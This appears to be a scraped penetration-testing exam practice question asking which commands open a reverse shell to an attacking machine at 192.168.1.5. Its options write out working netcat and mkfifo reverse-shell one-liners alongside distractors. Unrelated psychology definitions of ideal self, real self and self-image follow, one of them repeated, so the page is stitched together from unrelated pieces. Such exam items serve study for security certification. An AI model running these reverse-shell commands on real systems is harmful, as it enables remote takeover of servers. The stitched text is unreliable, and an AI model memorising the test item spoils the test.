During a Web Application Assessment, a Penetration Tester Discovers That

question 162

Multiple Choice

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO) .

• A) nc 192.168.1.5 44444
• B) nc -nlvp 44444 -e /bin/sh
• C) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
• D) nc -e /bin/sh 192.168.1.5 44444
• E) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
• F) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f

---

Definitions:

Ideal Self

The person one desires to be; an individual's conception of themselves in terms of their aspirations and goals.

Real Self

The term denotes an individual's authentic identity, reflecting their genuine thoughts, feelings, and behaviors, as opposed to roles played or masks worn in social contexts.

Self-Image

The personal perception or mental picture that an individual has of themselves, which can be influenced by societal standards, personal experiences, and inner beliefs.

Ideal Self

A person's conception of how they would like to be, often serving as a standard for self-evaluation.